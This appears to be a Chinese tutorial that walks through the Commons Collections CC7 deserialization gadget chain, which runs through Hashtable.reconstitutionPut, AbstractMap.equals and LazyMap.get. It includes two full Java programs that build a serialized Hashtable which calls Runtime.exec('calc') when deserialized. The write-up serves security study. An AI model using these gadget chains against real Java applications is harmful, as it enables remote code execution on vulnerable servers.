復現環境:common-collections版本<=3.2.1,java版本隨意.cc7就是cc6換了一個出口,整體的邏輯沒有太大的變化.在Lazymap
之前的還那樣,我們從如何觸發Lazymap
的get
方法開始看起.
AbstractMap
看他的equals方法
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
看到了m.get(key)
AbstractMapDecorator
同樣是看他的equals方法
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}
可以用來觸發AbstractMap
的equals
方法.
然而這兩個類都是抽象類,不能夠被例項化,因此在例項化的時候都是例項化的LazyMap
類.
Hashtable
看他的reconstitutionPut
方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
為什麼要使用這個方法?因為reconstitutionPut
的作用是在對hashTable
進行反序列化的時候,對類中的鍵值對進行恢復.來看readObject
方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
ObjectInputStream.GetField fields = s.readFields();
// Read and validate loadFactor (ignore threshold - it will be re-computed)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new StreamCorruptedException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Validate # of elements
if (elements < 0)
throw new StreamCorruptedException("Illegal # of Elements: " + elements);
// Clamp original length to be more than elements / loadFactor
// (this is the invariant enforced with auto-growth) origlength = Math.max(origlength, (int)(elements / lf) + 1);
// Compute new length with a bit of room 5% + 3 to grow but
// no larger than the clamped original length. Make the length // odd if it's large enough, this helps distribute the entries. // Guard against the length ending up zero, that's not valid. int length = (int)((elements + elements / 20) / lf) + 3;
if (length > elements && (length & 1) == 0)
length--;
length = Math.min(length, origlength);
if (length < 0) { // overflow
length = origlength;
}
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
Hashtable.UnsafeHolder.putLoadFactor(this, lf);
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}
前面那些都不用看,就看最後呼叫了reconstitutionPut
即可.這條利用鏈的觸發方式比較直觀,就是在反序列化時對hashTable
中的鍵值對進行恢復時,出現了比較,因此呼叫了equals方法.我們寫出指令碼
package org.example;
import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
String MethodName1 = "getMethod";
Class[] ParmaType1 = {String.class, Class[].class};
Object[] Parma1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);
String MethodName2 = "invoke";
Class[] ParmaType2 = {Object.class, Object[].class};
Object[] Parma2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);
String MethodName3 = "exec";
Class[] ParmaType3 = {String.class};
Object[] Parma3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);
Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map lazymap1 = LazyMap.decorate(new HashMap(), chainedTransformer);
Map lazymap2 = LazyMap.decorate(new HashMap(), chainedTransformer);
lazymap1.put("yy", 1);
lazymap2.put("zZ",1);
Hashtable hashtable = new Hashtable<>();
hashtable.put(lazymap1, 1);
hashtable.put(lazymap2, 2);
Class clazz = chainedTransformer.getClass();
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
serial(hashtable);
unserial();
}
public static void serial(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
首先解釋一下為什麼給LazyMap
插入的值必須是yy和zZ.
在reconstitutionPut
方法中執行equals
的條件為
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
必須要滿足e.hash == hash
才可以,而這兩個雜湊是由兩個鍵的值生成的,因此這兩個鍵必須存在雜湊碰撞.
再解釋一下ChainedTransformers
中的iTransformers
為什麼要透過反射去進行修改.這個比較類似於cc6那裡的問題.
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
addEntry(hash, key, value, index);
return null;
}
我們可以看到在使用hashTable
進行插值的時候裡面存在這樣一句int hash = key.hashCode();
,就是問題所在.此時的key
實際是一個LazyMap
的例項,那麼插值的時候就會觸發LazyMap
裡的HashMap
的hashCode
方法,沿著cc6的那條鏈子一路觸發下去,從而呼叫get
方法提前執行命令.因此需要透過反射去進行修改.
然而我們執行程式,發現並沒有像預期的那樣彈出計算器,研究發現問題出在這裡.
這個問題和cc6出現的那個也比較的類似,在hashTable
進行插值的時候,如果之前裡面有東西,會去進行一次比較來決定順序,從而觸發get方法.在序列化的時候,這裡正確觸發了transform
方法,但是給LazyMap2
插入了一個yy
.
那麼在反序列化的時候,就不能正確的觸發transform
方法,而是直接去執行else分支,鏈子斷了.因此應該在最後溢位lazyMap2
的yy.
最終指令碼如下:
package org.example;
import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
String MethodName1 = "getMethod";
Class[] ParmaType1 = {String.class, Class[].class};
Object[] Parma1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);
String MethodName2 = "invoke";
Class[] ParmaType2 = {Object.class, Object[].class};
Object[] Parma2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);
String MethodName3 = "exec";
Class[] ParmaType3 = {String.class};
Object[] Parma3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);
Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map lazymap1 = LazyMap.decorate(new HashMap(), chainedTransformer);
Map lazymap2 = LazyMap.decorate(new HashMap(), chainedTransformer);
lazymap1.put("yy", 1);
lazymap2.put("zZ",1);
Hashtable hashtable = new Hashtable<>();
hashtable.put(lazymap1, 1);
hashtable.put(lazymap2, 2);
Class clazz = chainedTransformer.getClass();
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
lazymap2.remove("yy");
serial(hashtable);
unserial();
}
public static void serial(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
歸納得出反序列化的鏈子如下
Gadget chain:
ObjectInputStream.readObject()
HashTable.readObject()
HashTable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()